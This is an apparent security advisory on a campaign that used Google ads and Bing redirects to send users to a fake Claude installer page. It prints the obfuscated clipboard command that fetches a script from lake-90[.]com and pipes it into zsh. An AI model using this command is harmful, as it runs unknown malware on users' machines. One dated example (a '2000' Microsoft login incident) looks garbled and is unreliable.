AI Security Incident Case: Fake Claude Installation Page Delivered Malware via ClickFix

Overview

On October 9, 2026, Push Security disclosed a malvertising campaign targeting Claude users. Attackers set the landing domain of a Google search ad to bing.com, leveraging Bing’s own click redirects and multi-layer cloaking to guide users to a counterfeit Claude download page and execute ClickFix-style attacks.

Ad platform reviewers only saw bing.com. A compromised WordPress site used server-side checks to filter out non-compliant requests, while the cloned site used JavaScript to read document.referrer, redirecting any traffic missing Google or Bing to /404.html—meaning security scanners directly visiting the link only received a 404 error. Only real users clicking through the specific path were shown the malicious page. The final payload has not yet been confirmed, and the specific malware delivered remains unclear.

Attack Background: Malvertising and Exploitable Trusted Redirects

• Search ads serve as the primary entry point for current ClickFix-style attacks. Four out of five ClickFix attacks detected by Push (including InstallFix and LLMshare variants) reached victims via search engines.
• Most campaigns do not hide their domains; success relies on link descriptions mimicking official sources and users failing to check the address bar.
• Redirects are an older evasion technique designed to ensure each checkpoint only sees the URL of its specific hop. Email gateways evaluate links in emails, ad platforms review landing addresses, URL filters check domain reputation, and users quickly scan domains before clicking—with attackers shifting the decision of “who ultimately sees the malicious page” to the final redirect step.
• Public examples include: a 2000 incident where login.microsoftonline.com intentionally omitted the response_type parameter, 2025 fake OAuth apps disguised as DocuSign, Adobe, and SharePoint, and Microsoft disclosing a prompt=none flaw combined with illegal scopes to forcibly trigger silent errors.

Attack Principles and Workflow

1. Prerequisites

The chain requires four conditions:

• The user searches for software via a search engine.
• The ad platform only verifies the ad’s landing domain, not what happens after landing.
• A legitimate, exploitable redirect exists that can plant cloaking logic after the jump.
• A compromised site that is already properly indexed by search engines is available to handle traffic.

2. Redirect Chain

When searching for claude mac on Google, the domain displayed in the returned results is bing.com rather than the counterfeit Claude domain.

Source: Push Security

Clicking the ad triggers four total requests:

1. [google.com/aclk?sa=L&ai=](https://google.com/aclk?sa=L&ai=)…: Returns a 302 status code; this is Google’s ad click redirect.
2. [bing.com/ck/a?…&u=a1](https://bing.com/ck/a?…&u=a1)…: Returns a 200 status code; this is Bing’s search result redirect, which uses JavaScript to forward the browser.
3. An “About us” page of a legitimate South American retailer: Returns a 302 status code; this site was compromised and is responsible for forwarding ad traffic to the bait.
4. claude-desk-code[.]com: Returns a 200 status code; this is the fake Claude download page.

Source: Push Security

[bing.com/ck/a] is the click-tracking redirect attached by Bing to every link on its search results page. The target address is base64-encoded and placed inside the u parameter with an a1 prefix, and Bing completes the forwarding via a short JavaScript page instead of an HTTP redirect. This explains why the second hop status code is 200 instead of 302, and why the browser arrives at the next hop carrying a bing.com referrer.

The Bing link points to a real, search-engine-indexed “About us” page (homeopatiaalemana[.]com/quienes-somos/). The attack path thus involves first compromising a site so it indexes normally on Bing, and then treating that Bing result as the destination target for the Google search ad.

3. Two-Layer Cloaking

• First layer: Located on the compromised site, where the server performs a 302 check requiring requests to carry both a Bing referrer and specific browser headers.
• Second layer: Located on the fake Claude site, using JavaScript to read document.referrer, automatically redirecting any visits lacking Google or Bing to /404.html.

Ad reviewers, automated scanners, and accidental visitors are all filtered out before reaching the payload. Visiting the compromised site from Bing also yields the malicious page, indicating the attack targets Google search users rather than Bing users.

4. Payload: What Is Displayed Versus What Goes to the Clipboard

The final page presents a professional-looking Claude download page featuring a Download for macOS button and a terminal installation command, matching the InstallFix pattern previously documented by Push.

The final page presents a professional-looking Claude download page featuring a Download for macOS button and a terminal installation command, matching the InstallFix pattern previously documented by Push.

Source: Push Security

The installation steps feature a dual disguise: the page displays Anthropic’s real command:

curl -fsSL [https://claude.ai/install.sh](https://claude.ai/install.sh) | bash

Meanwhile, the command placed into the clipboard via the Copy button is entirely different:

echo “Downloading Claude: hxxps://claude[.]ai/install.sh” && curl -s $(echo “aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0” | openssl base64 -d -A) | zsh

Source: Push Security

Upon pasting and executing, the terminal first prints Downloading Claude: [https://claude.ai/install](https://claude.ai/install)[.]sh, before base64-decoding the hidden address and piping the script from lake-90[.]com directly into zsh. What users see on the page and in their terminal appears to be a legitimate Claude address, but a completely different script runs in the background.

Threat and Impact Assessment

• Victims are macOS users executing remote scripts piped directly into the shell with permissions equivalent to their own user account. The fact that the final payload remains unknown is a risk in itself, making it difficult to assess specific damage or perform targeted remediation.
• Because the entire chain routes through legitimate domain redirects, domain-reputation-based blocking struggles to function effectively. Cloaking relies on referrer checks, meaning direct URL access returns a 404, preventing sandbox analysis tools from capturing samples.
• Push groups these related domains under a single toolchain named AcSig, using identical macOS commands, payload URL structures, and installation popup code, indicating a mature, scalable operation capable of swapping domains in bulk.

Key Takeaways and Lessons

• For users: When downloading software via search results, do not judge safety solely by how professional a page looks. Always cross-check installation commands against official documentation—especially checking the contents of the clipboard after clicking the “Copy to Clipboard” button. Any installation method that pipes remote scripts directly into the shell should be thoroughly inspected before execution.
• For defenders: Domain reputation and URL blacklists cannot stop this type of attack chain because every individual hop utilizes a legitimate domain. Effective defenses require browser session-layer telemetry that provides end-to-end visibility from the initial click to payload delivery, while identifying clipboard write events. Scenarios involving users searching for software via search engines must be integrated into user training, given that four out of five ClickFix attacks originate from search entry points.

References

[1] Push Security — Analysing a novel malicious redirect and cloaking technique (2026-10-09) https://pushsecurity.com/blog/adception-malvertising-another-search-engines-search-results

[2] BleepingComputer — Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks (2026-10-09) https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-bing-redirects-to-push-claude-clickfix-attacks/

[3] Push Security — InstallFix: Weaponizing malvertised install guides (2026-03-06) https://pushsecurity.com/blog/installfix

[4] SecurityWeek — Cloned AI Tool Sites Distribute Malware in ‘InstallFix’ Campaign (2026-03-09) https://www.securityweek.com/cloned-ai-tool-sites-distribute-malware-in-installfix-campaign/

[5] BleepingComputer — Custom ChatGPTs push ClickFix attacks to deploy RAT malware (2026-09-29) https://www.bleepingcomputer.com/news/security/custom-chatgpts-push-clickfix-attacks-to-deploy-rat-malware/

[6] SC Media — Hackers use Bing redirects in Google ads for fake Claude installers (2026-10-11) https://www.scworld.com/brief/hackers-use-bing-redirects-in-google-ads-for-fake-claude-installers